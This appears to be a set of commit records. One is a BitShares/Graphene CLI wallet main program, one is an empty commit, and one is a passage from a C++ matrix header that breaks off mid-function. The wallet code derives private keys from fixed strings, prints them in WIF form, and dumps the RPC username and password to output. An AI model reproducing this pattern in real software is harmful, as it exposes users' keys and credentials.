{"text":"<commit_before>\/*\n * Copyright (c) 2015 Cryptonomex, Inc., and contributors.\n *\n * The MIT License\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#include <algorithm>\n#include <iomanip>\n#include <iostream>\n#include <iterator>\n\n#include <fc\/io\/json.hpp>\n#include <fc\/io\/stdio.hpp>\n#include <fc\/network\/http\/server.hpp>\n#include <fc\/network\/http\/websocket.hpp>\n#include <fc\/rpc\/cli.hpp>\n#include <fc\/rpc\/http_api.hpp>\n#include <fc\/rpc\/websocket_api.hpp>\n#include <fc\/smart_ref_impl.hpp>\n\n#include <graphene\/app\/api.hpp>\n#include <graphene\/chain\/protocol\/protocol.hpp>\n#include <graphene\/egenesis\/egenesis.hpp>\n#include <graphene\/utilities\/key_conversion.hpp>\n#include <graphene\/wallet\/wallet.hpp>\n\n#include <fc\/interprocess\/signals.hpp>\n#include <boost\/program_options.hpp>\n\n#include <fc\/log\/console_appender.hpp>\n#include <fc\/log\/file_appender.hpp>\n#include <fc\/log\/logger.hpp>\n#include <fc\/log\/logger_config.hpp>\n\n#ifdef WIN32\n# include <signal.h>\n#else\n# include <csignal>\n#endif\n\nusing namespace graphene::app;\nusing namespace graphene::chain;\nusing namespace graphene::utilities;\nusing namespace graphene::wallet;\nusing namespace std;\nnamespace bpo = boost::program_options;\n\nint main( int argc, char** argv )\n{\n   try {\n\n      boost::program_options::options_description opts;\n         opts.add_options()\n         (\"help,h\", \"Print this help message and exit.\")\n         (\"server-rpc-endpoint,s\", bpo::value<string>()->implicit_value(\"ws:\/\/127.0.0.1:8090\"), \"Server websocket RPC endpoint\")\n         (\"server-rpc-user,u\", bpo::value<string>(), \"Server Username\")\n         (\"server-rpc-password,p\", bpo::value<string>(), \"Server Password\")\n         (\"rpc-endpoint,r\", bpo::value<string>()->implicit_value(\"127.0.0.1:8091\"), \"Endpoint for wallet websocket RPC to listen on\")\n         (\"rpc-tls-endpoint,t\", bpo::value<string>()->implicit_value(\"127.0.0.1:8092\"), \"Endpoint for wallet websocket TLS RPC to listen on\")\n         (\"rpc-tls-certificate,c\", bpo::value<string>()->implicit_value(\"server.pem\"), \"PEM certificate for wallet websocket TLS RPC\")\n         (\"rpc-http-endpoint,H\", bpo::value<string>()->implicit_value(\"127.0.0.1:8093\"), \"Endpoint for wallet HTTP RPC to listen on\")\n         (\"daemon,d\", \"Run the wallet in daemon mode\" )\n         (\"wallet-file,w\", bpo::value<string>()->implicit_value(\"wallet.json\"), \"wallet to load\")\n         (\"chain-id\", bpo::value<string>(), \"chain ID to connect to\");\n\n      bpo::variables_map options;\n\n      bpo::store( bpo::parse_command_line(argc, argv, opts), options );\n\n      if( options.count(\"help\") )\n      {\n         std::cout << opts << \"\\n\";\n         return 0;\n      }\n\n      fc::path data_dir;\n      fc::logging_config cfg;\n      fc::path log_dir = data_dir \/ \"logs\";\n\n      fc::file_appender::config ac;\n      ac.filename             = log_dir \/ \"rpc\" \/ \"rpc.log\";\n      ac.flush                = true;\n      ac.rotate               = true;\n      ac.rotation_interval    = fc::hours( 1 );\n      ac.rotation_limit       = fc::days( 1 );\n\n      std::cout << \"Logging RPC to file: \" << (data_dir \/ ac.filename).preferred_string() << \"\\n\";\n\n      cfg.appenders.push_back(fc::appender_config( \"default\", \"console\", fc::variant(fc::console_appender::config())));\n      cfg.appenders.push_back(fc::appender_config( \"rpc\", \"file\", fc::variant(ac)));\n\n      cfg.loggers = { fc::logger_config(\"default\"), fc::logger_config( \"rpc\") };\n      cfg.loggers.front().level = fc::log_level::info;\n      cfg.loggers.front().appenders = {\"default\"};\n      cfg.loggers.back().level = fc::log_level::debug;\n      cfg.loggers.back().appenders = {\"rpc\"};\n\n      \/\/fc::configure_logging( cfg );\n\n      fc::ecc::private_key committee_private_key = fc::ecc::private_key::regenerate(fc::sha256::hash(string(\"null_key\")));\n\n      idump( (key_to_wif( committee_private_key ) ) );\n\n      fc::ecc::private_key nathan_private_key = fc::ecc::private_key::regenerate(fc::sha256::hash(string(\"nathan\")));\n      public_key_type nathan_pub_key = nathan_private_key.get_public_key();\n      idump( (nathan_pub_key) );\n      idump( (key_to_wif( nathan_private_key ) ) );\n\n      \/\/\n      \/\/ TODO:  We read wallet_data twice, once in main() to grab the\n      \/\/    socket info, again in wallet_api when we do\n      \/\/    load_wallet_file().  Seems like this could be better\n      \/\/    designed.\n      \/\/\n      wallet_data wdata;\n\n      fc::path wallet_file( options.count(\"wallet-file\") ? options.at(\"wallet-file\").as<string>() : \"wallet.json\");\n      if( fc::exists( wallet_file ) )\n      {\n         wdata = fc::json::from_file( wallet_file ).as<wallet_data>();\n         if( options.count(\"chain-id\") )\n         {\n            \/\/ the --chain-id on the CLI must match the chain ID embedded in the wallet file\n            if( chain_id_type(options.at(\"chain-id\").as<std::string>()) != wdata.chain_id )\n            {\n               std::cout << \"Chain ID in wallet file does not match specified chain ID\\n\";\n               return 1;\n            }\n         }\n      }\n      else\n      {\n         if( options.count(\"chain-id\") )\n         {\n            wdata.chain_id = chain_id_type(options.at(\"chain-id\").as<std::string>());\n            std::cout << \"Starting a new wallet with chain ID \" << wdata.chain_id.str() << \" (from CLI)\\n\";\n         }\n         else\n         {\n            wdata.chain_id = graphene::egenesis::get_egenesis_chain_id();\n            std::cout << \"Starting a new wallet with chain ID \" << wdata.chain_id.str() << \" (from egenesis)\\n\";\n         }\n      }\n\n      \/\/ but allow CLI to override\n      if( options.count(\"server-rpc-endpoint\") )\n         wdata.ws_server = options.at(\"server-rpc-endpoint\").as<std::string>();\n      if( options.count(\"server-rpc-user\") )\n         wdata.ws_user = options.at(\"server-rpc-user\").as<std::string>();\n      if( options.count(\"server-rpc-password\") )\n         wdata.ws_password = options.at(\"server-rpc-password\").as<std::string>();\n\n      fc::http::websocket_client client;\n      idump((wdata.ws_server));\n      auto con  = client.connect( wdata.ws_server );\n      auto apic = std::make_shared<fc::rpc::websocket_api_connection>(*con);\n\n      auto remote_api = apic->get_remote_api< login_api >(1);\n      edump((wdata.ws_user)(wdata.ws_password) );\n      \/\/ TODO:  Error message here\n      FC_ASSERT( remote_api->login( wdata.ws_user, wdata.ws_password ) );\n\n      auto wapiptr = std::make_shared<wallet_api>( wdata, remote_api );\n      wapiptr->set_wallet_filename( wallet_file.generic_string() );\n      wapiptr->load_wallet_file();\n\n      fc::api<wallet_api> wapi(wapiptr);\n\n      auto wallet_cli = std::make_shared<fc::rpc::cli>();\n      for( auto& name_formatter : wapiptr->get_result_formatters() )\n         wallet_cli->format_result( name_formatter.first, name_formatter.second );\n\n      boost::signals2::scoped_connection closed_connection(con->closed.connect([=]{\n         cerr << \"Server has disconnected us.\\n\";\n         wallet_cli->stop();\n      }));\n      (void)(closed_connection);\n\n      if( wapiptr->is_new() )\n      {\n         std::cout << \"Please use the set_password method to initialize a new wallet before continuing\\n\";\n         wallet_cli->set_prompt( \"new >>> \" );\n      } else\n         wallet_cli->set_prompt( \"locked >>> \" );\n\n      boost::signals2::scoped_connection locked_connection(wapiptr->lock_changed.connect([&](bool locked) {\n         wallet_cli->set_prompt(  locked ? \"locked >>> \" : \"unlocked >>> \" );\n      }));\n\n      auto _websocket_server = std::make_shared<fc::http::websocket_server>();\n      if( options.count(\"rpc-endpoint\") )\n      {\n         _websocket_server->on_connection([&]( const fc::http::websocket_connection_ptr& c ){\n            \/\/std::cout << \"here... \\n\";\n            \/\/wlog(\".\" );\n            auto wsc = std::make_shared<fc::rpc::websocket_api_connection>(*c);\n            wsc->register_api(wapi);\n            c->set_session_data( wsc );\n         });\n         ilog( \"Listening for incoming RPC requests on ${p}\", (\"p\", options.at(\"rpc-endpoint\").as<string>() ));\n         _websocket_server->listen( fc::ip::endpoint::from_string(options.at(\"rpc-endpoint\").as<string>()) );\n         _websocket_server->start_accept();\n      }\n\n      string cert_pem = \"server.pem\";\n      if( options.count( \"rpc-tls-certificate\" ) )\n         cert_pem = options.at(\"rpc-tls-certificate\").as<string>();\n\n      auto _websocket_tls_server = std::make_shared<fc::http::websocket_tls_server>(cert_pem);\n      if( options.count(\"rpc-tls-endpoint\") )\n      {\n         _websocket_tls_server->on_connection([&]( const fc::http::websocket_connection_ptr& c ){\n            auto wsc = std::make_shared<fc::rpc::websocket_api_connection>(*c);\n            wsc->register_api(wapi);\n            c->set_session_data( wsc );\n         });\n         ilog( \"Listening for incoming TLS RPC requests on ${p}\", (\"p\", options.at(\"rpc-tls-endpoint\").as<string>() ));\n         _websocket_tls_server->listen( fc::ip::endpoint::from_string(options.at(\"rpc-tls-endpoint\").as<string>()) );\n         _websocket_tls_server->start_accept();\n      }\n\n      auto _http_server = std::make_shared<fc::http::server>();\n      if( options.count(\"rpc-http-endpoint\" ) )\n      {\n         ilog( \"Listening for incoming HTTP RPC requests on ${p}\", (\"p\", options.at(\"rpc-http-endpoint\").as<string>() ) );\n         _http_server->listen( fc::ip::endpoint::from_string( options.at( \"rpc-http-endpoint\" ).as<string>() ) );\n         \/\/\n         \/\/ due to implementation, on_request() must come AFTER listen()\n         \/\/\n         _http_server->on_request(\n            [&]( const fc::http::request& req, const fc::http::server::response& resp )\n            {\n               std::shared_ptr< fc::rpc::http_api_connection > conn =\n                  std::make_shared< fc::rpc::http_api_connection>();\n               conn->register_api( wapi );\n               conn->on_request( req, resp );\n            } );\n      }\n\n      if( !options.count( \"daemon\" ) )\n      {\n         wallet_cli->register_api( wapi );\n         wallet_cli->start();\n         wallet_cli->wait();\n      }\n      else\n      {\n        fc::promise<int>::ptr exit_promise = new fc::promise<int>(\"UNIX Signal Handler\");\n        fc::set_signal_handler([&exit_promise](int signal) {\n           exit_promise->set_value(signal);\n        }, SIGINT);\n\n        ilog( \"Entering Daemon Mode, ^C to exit\" );\n        exit_promise->wait();\n      }\n\n      wapi->save_wallet_file(wallet_file.generic_string());\n      locked_connection.disconnect();\n      closed_connection.disconnect();\n   }\n   catch ( const fc::exception& e )\n   {\n      std::cout << e.to_detail_string() << \"\\n\";\n      return -1;\n   }\n   return 0;\n}\n<commit_msg>remove the log lines instead of comment<commit_after>\/*\n * Copyright (c) 2015 Cryptonomex, Inc., and contributors.\n *\n * The MIT License\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n *\/\n\n#include <algorithm>\n#include <iomanip>\n#include <iostream>\n#include <iterator>\n\n#include <fc\/io\/json.hpp>\n#include <fc\/io\/stdio.hpp>\n#include <fc\/network\/http\/server.hpp>\n#include <fc\/network\/http\/websocket.hpp>\n#include <fc\/rpc\/cli.hpp>\n#include <fc\/rpc\/http_api.hpp>\n#include <fc\/rpc\/websocket_api.hpp>\n#include <fc\/smart_ref_impl.hpp>\n\n#include <graphene\/app\/api.hpp>\n#include <graphene\/chain\/protocol\/protocol.hpp>\n#include <graphene\/egenesis\/egenesis.hpp>\n#include <graphene\/utilities\/key_conversion.hpp>\n#include <graphene\/wallet\/wallet.hpp>\n\n#include <fc\/interprocess\/signals.hpp>\n#include <boost\/program_options.hpp>\n\n#include <fc\/log\/console_appender.hpp>\n#include <fc\/log\/file_appender.hpp>\n#include <fc\/log\/logger.hpp>\n#include <fc\/log\/logger_config.hpp>\n\n#ifdef WIN32\n# include <signal.h>\n#else\n# include <csignal>\n#endif\n\nusing namespace graphene::app;\nusing namespace graphene::chain;\nusing namespace graphene::utilities;\nusing namespace graphene::wallet;\nusing namespace std;\nnamespace bpo = boost::program_options;\n\nint main( int argc, char** argv )\n{\n   try {\n\n      boost::program_options::options_description opts;\n         opts.add_options()\n         (\"help,h\", \"Print this help message and exit.\")\n         (\"server-rpc-endpoint,s\", bpo::value<string>()->implicit_value(\"ws:\/\/127.0.0.1:8090\"), \"Server websocket RPC endpoint\")\n         (\"server-rpc-user,u\", bpo::value<string>(), \"Server Username\")\n         (\"server-rpc-password,p\", bpo::value<string>(), \"Server Password\")\n         (\"rpc-endpoint,r\", bpo::value<string>()->implicit_value(\"127.0.0.1:8091\"), \"Endpoint for wallet websocket RPC to listen on\")\n         (\"rpc-tls-endpoint,t\", bpo::value<string>()->implicit_value(\"127.0.0.1:8092\"), \"Endpoint for wallet websocket TLS RPC to listen on\")\n         (\"rpc-tls-certificate,c\", bpo::value<string>()->implicit_value(\"server.pem\"), \"PEM certificate for wallet websocket TLS RPC\")\n         (\"rpc-http-endpoint,H\", bpo::value<string>()->implicit_value(\"127.0.0.1:8093\"), \"Endpoint for wallet HTTP RPC to listen on\")\n         (\"daemon,d\", \"Run the wallet in daemon mode\" )\n         (\"wallet-file,w\", bpo::value<string>()->implicit_value(\"wallet.json\"), \"wallet to load\")\n         (\"chain-id\", bpo::value<string>(), \"chain ID to connect to\");\n\n      bpo::variables_map options;\n\n      bpo::store( bpo::parse_command_line(argc, argv, opts), options );\n\n      if( options.count(\"help\") )\n      {\n         std::cout << opts << \"\\n\";\n         return 0;\n      }\n\n      fc::path data_dir;\n      fc::logging_config cfg;\n      fc::path log_dir = data_dir \/ \"logs\";\n\n      fc::file_appender::config ac;\n      ac.filename             = log_dir \/ \"rpc\" \/ \"rpc.log\";\n      ac.flush                = true;\n      ac.rotate               = true;\n      ac.rotation_interval    = fc::hours( 1 );\n      ac.rotation_limit       = fc::days( 1 );\n\n      std::cout << \"Logging RPC to file: \" << (data_dir \/ ac.filename).preferred_string() << \"\\n\";\n\n      cfg.appenders.push_back(fc::appender_config( \"default\", \"console\", fc::variant(fc::console_appender::config())));\n      cfg.appenders.push_back(fc::appender_config( \"rpc\", \"file\", fc::variant(ac)));\n\n      cfg.loggers = { fc::logger_config(\"default\"), fc::logger_config( \"rpc\") };\n      cfg.loggers.front().level = fc::log_level::info;\n      cfg.loggers.front().appenders = {\"default\"};\n      cfg.loggers.back().level = fc::log_level::debug;\n      cfg.loggers.back().appenders = {\"rpc\"};\n\n      \/\/fc::configure_logging( cfg );\n\n      fc::ecc::private_key committee_private_key = fc::ecc::private_key::regenerate(fc::sha256::hash(string(\"null_key\")));\n\n      idump( (key_to_wif( committee_private_key ) ) );\n\n      fc::ecc::private_key nathan_private_key = fc::ecc::private_key::regenerate(fc::sha256::hash(string(\"nathan\")));\n      public_key_type nathan_pub_key = nathan_private_key.get_public_key();\n      idump( (nathan_pub_key) );\n      idump( (key_to_wif( nathan_private_key ) ) );\n\n      \/\/\n      \/\/ TODO:  We read wallet_data twice, once in main() to grab the\n      \/\/    socket info, again in wallet_api when we do\n      \/\/    load_wallet_file().  Seems like this could be better\n      \/\/    designed.\n      \/\/\n      wallet_data wdata;\n\n      fc::path wallet_file( options.count(\"wallet-file\") ? options.at(\"wallet-file\").as<string>() : \"wallet.json\");\n      if( fc::exists( wallet_file ) )\n      {\n         wdata = fc::json::from_file( wallet_file ).as<wallet_data>();\n         if( options.count(\"chain-id\") )\n         {\n            \/\/ the --chain-id on the CLI must match the chain ID embedded in the wallet file\n            if( chain_id_type(options.at(\"chain-id\").as<std::string>()) != wdata.chain_id )\n            {\n               std::cout << \"Chain ID in wallet file does not match specified chain ID\\n\";\n               return 1;\n            }\n         }\n      }\n      else\n      {\n         if( options.count(\"chain-id\") )\n         {\n            wdata.chain_id = chain_id_type(options.at(\"chain-id\").as<std::string>());\n            std::cout << \"Starting a new wallet with chain ID \" << wdata.chain_id.str() << \" (from CLI)\\n\";\n         }\n         else\n         {\n            wdata.chain_id = graphene::egenesis::get_egenesis_chain_id();\n            std::cout << \"Starting a new wallet with chain ID \" << wdata.chain_id.str() << \" (from egenesis)\\n\";\n         }\n      }\n\n      \/\/ but allow CLI to override\n      if( options.count(\"server-rpc-endpoint\") )\n         wdata.ws_server = options.at(\"server-rpc-endpoint\").as<std::string>();\n      if( options.count(\"server-rpc-user\") )\n         wdata.ws_user = options.at(\"server-rpc-user\").as<std::string>();\n      if( options.count(\"server-rpc-password\") )\n         wdata.ws_password = options.at(\"server-rpc-password\").as<std::string>();\n\n      fc::http::websocket_client client;\n      idump((wdata.ws_server));\n      auto con  = client.connect( wdata.ws_server );\n      auto apic = std::make_shared<fc::rpc::websocket_api_connection>(*con);\n\n      auto remote_api = apic->get_remote_api< login_api >(1);\n      edump((wdata.ws_user)(wdata.ws_password) );\n      \/\/ TODO:  Error message here\n      FC_ASSERT( remote_api->login( wdata.ws_user, wdata.ws_password ) );\n\n      auto wapiptr = std::make_shared<wallet_api>( wdata, remote_api );\n      wapiptr->set_wallet_filename( wallet_file.generic_string() );\n      wapiptr->load_wallet_file();\n\n      fc::api<wallet_api> wapi(wapiptr);\n\n      auto wallet_cli = std::make_shared<fc::rpc::cli>();\n      for( auto& name_formatter : wapiptr->get_result_formatters() )\n         wallet_cli->format_result( name_formatter.first, name_formatter.second );\n\n      boost::signals2::scoped_connection closed_connection(con->closed.connect([=]{\n         cerr << \"Server has disconnected us.\\n\";\n         wallet_cli->stop();\n      }));\n      (void)(closed_connection);\n\n      if( wapiptr->is_new() )\n      {\n         std::cout << \"Please use the set_password method to initialize a new wallet before continuing\\n\";\n         wallet_cli->set_prompt( \"new >>> \" );\n      } else\n         wallet_cli->set_prompt( \"locked >>> \" );\n\n      boost::signals2::scoped_connection locked_connection(wapiptr->lock_changed.connect([&](bool locked) {\n         wallet_cli->set_prompt(  locked ? \"locked >>> \" : \"unlocked >>> \" );\n      }));\n\n      auto _websocket_server = std::make_shared<fc::http::websocket_server>();\n      if( options.count(\"rpc-endpoint\") )\n      {\n         _websocket_server->on_connection([&]( const fc::http::websocket_connection_ptr& c ){\n            auto wsc = std::make_shared<fc::rpc::websocket_api_connection>(*c);\n            wsc->register_api(wapi);\n            c->set_session_data( wsc );\n         });\n         ilog( \"Listening for incoming RPC requests on ${p}\", (\"p\", options.at(\"rpc-endpoint\").as<string>() ));\n         _websocket_server->listen( fc::ip::endpoint::from_string(options.at(\"rpc-endpoint\").as<string>()) );\n         _websocket_server->start_accept();\n      }\n\n      string cert_pem = \"server.pem\";\n      if( options.count( \"rpc-tls-certificate\" ) )\n         cert_pem = options.at(\"rpc-tls-certificate\").as<string>();\n\n      auto _websocket_tls_server = std::make_shared<fc::http::websocket_tls_server>(cert_pem);\n      if( options.count(\"rpc-tls-endpoint\") )\n      {\n         _websocket_tls_server->on_connection([&]( const fc::http::websocket_connection_ptr& c ){\n            auto wsc = std::make_shared<fc::rpc::websocket_api_connection>(*c);\n            wsc->register_api(wapi);\n            c->set_session_data( wsc );\n         });\n         ilog( \"Listening for incoming TLS RPC requests on ${p}\", (\"p\", options.at(\"rpc-tls-endpoint\").as<string>() ));\n         _websocket_tls_server->listen( fc::ip::endpoint::from_string(options.at(\"rpc-tls-endpoint\").as<string>()) );\n         _websocket_tls_server->start_accept();\n      }\n\n      auto _http_server = std::make_shared<fc::http::server>();\n      if( options.count(\"rpc-http-endpoint\" ) )\n      {\n         ilog( \"Listening for incoming HTTP RPC requests on ${p}\", (\"p\", options.at(\"rpc-http-endpoint\").as<string>() ) );\n         _http_server->listen( fc::ip::endpoint::from_string( options.at( \"rpc-http-endpoint\" ).as<string>() ) );\n         \/\/\n         \/\/ due to implementation, on_request() must come AFTER listen()\n         \/\/\n         _http_server->on_request(\n            [&]( const fc::http::request& req, const fc::http::server::response& resp )\n            {\n               std::shared_ptr< fc::rpc::http_api_connection > conn =\n                  std::make_shared< fc::rpc::http_api_connection>();\n               conn->register_api( wapi );\n               conn->on_request( req, resp );\n            } );\n      }\n\n      if( !options.count( \"daemon\" ) )\n      {\n         wallet_cli->register_api( wapi );\n         wallet_cli->start();\n         wallet_cli->wait();\n      }\n      else\n      {\n        fc::promise<int>::ptr exit_promise = new fc::promise<int>(\"UNIX Signal Handler\");\n        fc::set_signal_handler([&exit_promise](int signal) {\n           exit_promise->set_value(signal);\n        }, SIGINT);\n\n        ilog( \"Entering Daemon Mode, ^C to exit\" );\n        exit_promise->wait();\n      }\n\n      wapi->save_wallet_file(wallet_file.generic_string());\n      locked_connection.disconnect();\n      closed_connection.disconnect();\n   }\n   catch ( const fc::exception& e )\n   {\n      std::cout << e.to_detail_string() << \"\\n\";\n      return -1;\n   }\n   return 0;\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>die letzten funktionen sind jetzt pure virtual... my mistake<commit_after><|endoftext|>"}
{"text":"<commit_before>#ifndef MJOLNIR_MATH_MATRIX\n#define MJOLNIR_MATH_MATRIX\n#include <mjolnir\/util\/is_all.hpp>\n#include <mjolnir\/util\/scalar_type_of.hpp>\n#include <array>\n\nnamespace mjolnir\n{\n\ntemplate<typename realT, std::size_t Row, std::size_t Col>\nclass Matrix\n{\n  public:\n    using real_type = realT;\n    using scalar_type = real_type;\n    constexpr static std::size_t dim_row = Row;\n    constexpr static std::size_t dim_col = Col;\n    constexpr static std::size_t number_of_element = Row * Col;\n    using container      = std::array<real_type, number_of_element>;\n    using iterator       = typename container::iterator;\n    using const_iterator = typename container::const_iterator;\n\n  public:\n    Matrix() : values_{{}}{}\n    ~Matrix() = default;\n\n    template<typename ... T_args, class = typename std::enable_if<\n        (sizeof...(T_args) == number_of_element) &&\n        is_all<std::is_convertible, realT, T_args...>::value>::type>\n    Matrix(T_args ... args) : values_{{static_cast<real_type>(args)...}}{}\n\n    Matrix(const Matrix& mat) = default;\n    Matrix& operator=(const Matrix& mat) = default;\n\n    Matrix& operator+=(const Matrix& mat);\n    Matrix& operator-=(const Matrix& mat);\n    Matrix& operator*=(const scalar_type& scl);\n    Matrix& operator\/=(const scalar_type& scl);\n\n    scalar_type  at(const std::size_t i, const std::size_t j) const;\n    scalar_type& at(const std::size_t i, const std::size_t j);\n    scalar_type  operator()(const std::size_t i, const std::size_t j) const;\n    scalar_type& operator()(const std::size_t i, const std::size_t j);\n\n    scalar_type  at(const std::size_t i) const {return values_.at(i);}\n    scalar_type& at(const std::size_t i)       {return values_.at(i);}\n    scalar_type  operator[](const std::size_t i) const {return values_[i];}\n    scalar_type& operator[](const std::size_t i)       {return values_[i];}\n\n    iterator begin() {return values_.begin();}\n    iterator end()   {return values_.end();}\n    const_iterator cbegin() const {return values_.cbegin();}\n    const_iterator cend()   const {return values_.cend();}\n\n  private:\n    container values_;\n};\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>&\nMatrix<realT, R, C>::operator+=(const Matrix<realT, R, C>& mat)\n{\n    for(std::size_t i=0; i<R*C; ++i)\n        (*this)[i] += mat[i];\n    return *this;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>&\nMatrix<realT, R, C>::operator-=(const Matrix<realT, R, C>& mat)\n{\n    for(std::size_t i=0; i<R*C; ++i)\n        (*this)[i] -= mat[i];\n    return *this;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>&\nMatrix<realT, R, C>::operator*=(const scalar_type& s)\n{\n    for(std::size_t i=0; i<R*C; ++i)\n        (*this)[i] *= s;\n    return *this;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>&\nMatrix<realT, R, C>::operator\/=(const scalar_type& s)\n{\n    for(std::size_t i=0; i<R*C; ++i)\n        (*this)[i] \/= s;\n    return *this;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>\noperator+(const Matrix<realT, R, C>& lhs, const Matrix<realT, R, C>& rhs)\n{\n    Matrix<realT, R, C> retval;\n    for(std::size_t i=0; i<R*C; ++i)\n        retval[i] = lhs[i] + rhs[i];\n    return retval;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>\noperator-(const Matrix<realT, R, C>& lhs, const Matrix<realT, R, C>& rhs)\n{\n    Matrix<realT, R, C> retval;\n    for(std::size_t i=0; i<R*C; ++i)\n        retval[i] = lhs[i] - rhs[i];\n    return retval;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>\noperator*(const Matrix<realT, R, C>& lhs, const realT rhs)\n{\n    Matrix<realT, R, C> retval;\n    for(std::size_t i=0; i<R*C; ++i)\n        retval[i] = lhs[i] * rhs;\n    return retval;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>\noperator*(const realT lhs, const Matrix<realT, R, C>& rhs)\n{\n    Matrix<realT, R, C> retval;\n    for(std::size_t i=0; i<R*C; ++i)\n        retval[i] = lhs * rhs[i];\n    return retval;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, R, C>\noperator\/(const Matrix<realT, R, C>& lhs, const realT rhs)\n{\n    Matrix<realT, R, C> retval;\n    for(std::size_t i=0; i<R*C; ++i)\n        retval[i] = lhs[i] \/ rhs;\n    return retval;\n}\n\ntemplate<typename realT, std::size_t L, std::size_t M, std::size_t N>\nMatrix<realT, L, N>\noperator*(const Matrix<realT, L, M>& lhs, const Matrix<realT, M, N>& rhs)\n{\n    Matrix<realT, L, N> retval;\n    for(std::size_t i=0; i < L; ++i)\n        for(std::size_t j=0; j < N; ++j)\n            for(std::size_t k=0; k < M; ++k)\n                retval(i, j) += lhs(i, k) * rhs(k, j);\n    return retval;\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\ntypename Matrix<realT, R, C>::scalar_type\nMatrix<realT, R, C>::at(const std::size_t i, const std::size_t j) const\n{\n    return this->values_.at(i * C + j);\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\ntypename Matrix<realT, R, C>::scalar_type&\nMatrix<realT, R, C>::at(const std::size_t i, const std::size_t j)\n{\n    return this->values_.at(i * C + j);\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\ntypename Matrix<realT, R, C>::scalar_type\nMatrix<realT, R, C>::operator()(const std::size_t i, const std::size_t j) const\n{\n    return this->values_[i * C + j];\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\ntypename Matrix<realT, R, C>::scalar_type&\nMatrix<realT, R, C>::operator()(const std::size_t i, const std::size_t j)\n{\n    return this->values_[i * C + j];\n}\n\ntemplate<typename realT, std::size_t R, std::size_t C>\nMatrix<realT, C, R> transpose(const Matrix<realT, R, C>& mat)\n{\n    Matrix<realT, C, R> retval;\n    for(std::size_t i=0; i<R; ++i)\n        for(std::size_t j=0; j<C; ++j)\n            retval(j, i) = mat(i, j);\n    return retval;\n}\n\ntemplate<typename charT, typename traits,\n         typename realT, std::size_t R, std::size_t C>\nstd::basic_ostream<charT, traits>&\noperator<<(std::basic_ostream<charT, traits>& os, const Matrix<realT, R, C>& m)\n{\n    os << \"(\";\n    for(std::size_t i=0; i<R*C; ++i)\n        os << m[i] << \" \";\n    os << \")\";\n    return os;\n}\n\n\/\/ for 3*3 only ...\ntemplate<typename realT>\ninline realT determinant(const Matrix<realT, 3, 3>& mat)\n{\n    return mat(0,0) * mat(1,1) * mat(2,2) +\n           mat(1,0) * mat(2,1) * mat(0,2) +\n           mat(2,0) * mat(0,1) * mat(1,2) -\n           mat(0,0) * mat(2,1) * mat(1,2) -\n           mat(2,0) * mat(1,1) * mat(0,2) -\n           mat(1,0) * mat(0,1) * mat(2,2);\n}\n\ntemplate<typename realT>\nMatrix<realT, 3, 3> inverse(const Matrix<realT, 3, 3>& mat)\n{\n    const auto det_inv = 1e0 \/ determinant(mat);\n\n    Matrix<realT, 3, 3> inv;\n    inv(0,0) = det_inv * (mat(1,1) * mat(2,2) - mat(1,2) * mat(2,1));\n    inv(1,1) = det_inv * (mat(0,0) * mat(2,2) - mat(0,2) * mat(2,0));\n    inv(2,2) = det_inv * (mat(0,0) * mat(1,1) - mat(0,1) * mat(1,0));\n\n    inv(0,1) = det_inv * (mat(0,2) * mat(2,1) - mat(0,1) * mat(2,2));\n    inv(0,2) = det_inv * (mat(0,1) * mat(1,2) - mat(0,2) * mat(1,1));\n    inv(1,2) = det_inv * (mat(0,2) * mat(1,0) - mat(0,0) * mat(1,2));\n\n    inv(1,0) = det_inv * 